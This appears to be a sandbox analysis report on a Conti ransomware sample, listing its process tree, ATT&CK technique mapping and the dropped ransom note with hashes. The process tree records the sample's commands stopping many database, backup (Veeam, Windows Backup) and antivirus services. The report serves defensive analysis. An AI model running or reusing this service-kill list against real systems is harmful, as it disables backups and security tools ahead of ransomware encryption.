- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLTELEMETRY /y
  2⤵
  PID:1860
- - C:\Windows\SysWOW64\net.exe
    net stop SQLTELEMETRY /y
    3⤵
    PID:952
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLTELEMETRY /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2148
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLTELEMETRY$ECWDB2 /y
  2⤵
  PID:1872
- - C:\Windows\SysWOW64\net.exe
    net stop SQLTELEMETRY$ECWDB2 /y
    3⤵
    PID:2108
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLTELEMETRY$ECWDB2 /y
      4⤵
      PID:4748
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLWriter /y
  2⤵
  PID:2280
- - C:\Windows\SysWOW64\net.exe
    net stop SQLWriter /y
    3⤵
    PID:764
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLWriter /y
      4⤵
      PID:2244
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamBackupSvc /y
  2⤵
  PID:2596
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamBackupSvc /y
    3⤵
    PID:5024
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamBackupSvc /y
      4⤵
      PID:3532
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamBrokerSvc /y
  2⤵
  PID:2336
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamBrokerSvc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2932
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamBrokerSvc /y
      4⤵
      PID:3608
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamCatalogSvc /y
  2⤵
  PID:2412
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamCatalogSvc /y
    3⤵
    PID:5008
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamCatalogSvc /y
      4⤵
      PID:936
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamCloudSvc /y
  2⤵
  PID:1960
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamCloudSvc /y
    3⤵
    PID:5048
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamCloudSvc /y
      4⤵
      PID:4704
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamDeploymentService /y
  2⤵
  PID:3496
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamDeploymentService /y
    3⤵
    PID:1380
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1592
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamDeploySvc /y
  2⤵
  PID:4380
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamDeploySvc /y
    3⤵
    PID:3756
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploySvc /y
      4⤵
      PID:2140
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamEnterpriseManagerSvc /y
  2⤵
  PID:4980
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamEnterpriseManagerSvc /y
    3⤵
    PID:1288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
      4⤵
      PID:3044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamMountSvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2788
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamMountSvc /y
    3⤵
    PID:692
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamMountSvc /y
      4⤵
      PID:1228
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamNFSSvc /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1372
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamNFSSvc /y
    3⤵
    PID:4584
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc /y
      4⤵
      PID:1848
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamRESTSvc /y
  2⤵
  PID:1928
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamRESTSvc /y
    3⤵
    PID:4724
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamRESTSvc /y
      4⤵
      PID:1224
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamTransportSvc /y
  2⤵
  PID:1752
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamTransportSvc /y
    3⤵
    PID:2464
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc /y
      4⤵
      PID:4560
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop W3Svc /y
  2⤵
  PID:4592
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2148
- - C:\Windows\SysWOW64\net.exe
    net stop W3Svc /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3128
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop W3Svc /y
      4⤵
      PID:592
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wbengine /y
  2⤵
  PID:4748
- - C:\Windows\SysWOW64\net.exe
    net stop wbengine /y
    3⤵
    PID:3888
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wbengine /y
      4⤵
      PID:4772
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop WRSVC /y
  2⤵
  PID:2940
- - C:\Windows\SysWOW64\net.exe
    net stop WRSVC /y
    3⤵
    PID:4364
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WRSVC /y
      4⤵
      PID:812
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y
  2⤵
  PID:1364
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$VEEAMSQL2008R2 /y
    3⤵
    PID:3288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
      4⤵
      PID:472
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$VEEAMSQL2008R2 /y
  2⤵
  PID:4492
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$VEEAMSQL2008R2 /y
    3⤵
    PID:3456
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
      4⤵
      PID:4436
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop VeeamHvIntegrationSvc /y
  2⤵
  PID:4676
- - C:\Windows\SysWOW64\net.exe
    net stop VeeamHvIntegrationSvc /y
    3⤵
    PID:4964
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
      4⤵
      PID:1052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop swi_update /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2704
- - C:\Windows\SysWOW64\net.exe
    net stop swi_update /y
    3⤵
    PID:3172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop swi_update /y
      4⤵
      PID:3032
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$CXDB /y
  2⤵
  PID:3340
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$CXDB /y
    3⤵
    PID:1792
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$CXDB /y
      4⤵
      PID:2872
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$CITRIX_METAFRAME /y
  2⤵
  PID:3044
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$CITRIX_METAFRAME /y
    3⤵
    PID:3076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y
      4⤵
      PID:3380
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop "SQL Backups" /y
  2⤵
  PID:1228
- - C:\Windows\SysWOW64\net.exe
    net stop "SQL Backups" /y
    3⤵
    PID:1000
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQL Backups" /y
      4⤵
      PID:1848
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$PROD /y
  2⤵
  PID:2860
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$PROD /y
    3⤵
    PID:1680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$PROD /y
      4⤵
      PID:1756
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop "Zoolz 2 Service" /y
  2⤵
  PID:336
- - C:\Windows\SysWOW64\net.exe
    net stop "Zoolz 2 Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4872
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Zoolz 2 Service" /y
      4⤵
      PID:972
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQLServerADHelper /y
  2⤵
  PID:1220
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQLServerADHelper /y
    3⤵
    PID:2732
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQLServerADHelper /y
      4⤵
      PID:592
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$PROD /y
  2⤵
  PID:2224
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$PROD /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$PROD /y
      4⤵
      PID:2624
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop msftesql$PROD /y
  2⤵
  PID:2152
- - C:\Windows\SysWOW64\net.exe
    net stop msftesql$PROD /y
    3⤵
    PID:3896
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop msftesql$PROD /y
      4⤵
      PID:784
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop NetMsmqActivator /y
  2⤵
  PID:1844
- - C:\Windows\SysWOW64\net.exe
    net stop NetMsmqActivator /y
    3⤵
    PID:4544
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop NetMsmqActivator /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3480
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop EhttpSrv /y
  2⤵
  PID:4068
- - C:\Windows\SysWOW64\net.exe
    net stop EhttpSrv /y
    3⤵
    PID:2492
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop EhttpSrv /y
      4⤵
      PID:732
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ekrn /y
  2⤵
  PID:2936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4704
- - C:\Windows\SysWOW64\net.exe
    net stop ekrn /y
    3⤵
    PID:3312
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ekrn /y
      4⤵
      PID:3200
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop ESHASRV /y
  2⤵
  PID:2140
- - C:\Windows\SysWOW64\net.exe
    net stop ESHASRV /y
    3⤵
    PID:1592
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop ESHASRV /y
      4⤵
      PID:2628
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$SOPHOS /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4324
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$SOPHOS /y
    3⤵
    PID:4132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$SOPHOS /y
      4⤵
      PID:8
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$SOPHOS /y
  2⤵
  PID:1516
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$SOPHOS /y
    3⤵
    PID:2944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$SOPHOS /y
      4⤵
      PID:3668
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop AVP /y
  2⤵
  - System Location Discovery: System Language Discovery
  PID:136
- - C:\Windows\SysWOW64\net.exe
    net stop AVP /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1720
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop AVP /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4688
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop klnagent /y
  2⤵
  PID:2536
- - C:\Windows\SysWOW64\net.exe
    net stop klnagent /y
    3⤵
    PID:5084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop klnagent /y
      4⤵
      PID:440
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop MSSQL$SQLEXPRESS /y
  2⤵
  PID:2920
- - C:\Windows\SysWOW64\net.exe
    net stop MSSQL$SQLEXPRESS /y
    3⤵
    PID:620
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4924
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop SQLAgent$SQLEXPRESS /y
  2⤵
  PID:2540
- - C:\Windows\SysWOW64\net.exe
    net stop SQLAgent$SQLEXPRESS /y
    3⤵
    PID:2696
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y
      4⤵
      PID:1240
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wbengine /y
  2⤵
  PID:5112
- - C:\Windows\SysWOW64\net.exe
    net stop wbengine /y
    3⤵
    PID:5040
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wbengine /y
      4⤵
      PID:3824
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop mfefire /y
  2⤵
  PID:5076
- - C:\Windows\SysWOW64\net.exe
    net stop mfefire /y
    3⤵
    PID:4076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop mfefire /y
      4⤵
      PID:732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Windows Credential Manager

T1555.004

Discovery

Network Share Discovery

T1135

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CONTI_README.txt

Path C:\ProgramData\CONTI_README.txt
Size 144B
SHA256 536abfcb478263a5ce712edc9e13ad95457de0187a94029861503815b583184b
MD5 e9919b390bf42fc38d6af10c06ce76bf
SHA1 44729059048161e935d2b4aa9c1992f0dbf1e968
SHA512 dadf1d6660469f26e7bd0fbfd7352593e970e090956881a16b53bc498621c8a00b66631991652af4dce7528133a0492c585626b5b4416ffe58bb41b0de3adbde
TLSH
T17BC08C01840B60A091C1A3119038E1A71B019265C8EBDFFCBA30C68521494D8B646491
MD5 SHA1 SHA512 TLSH

Submit Download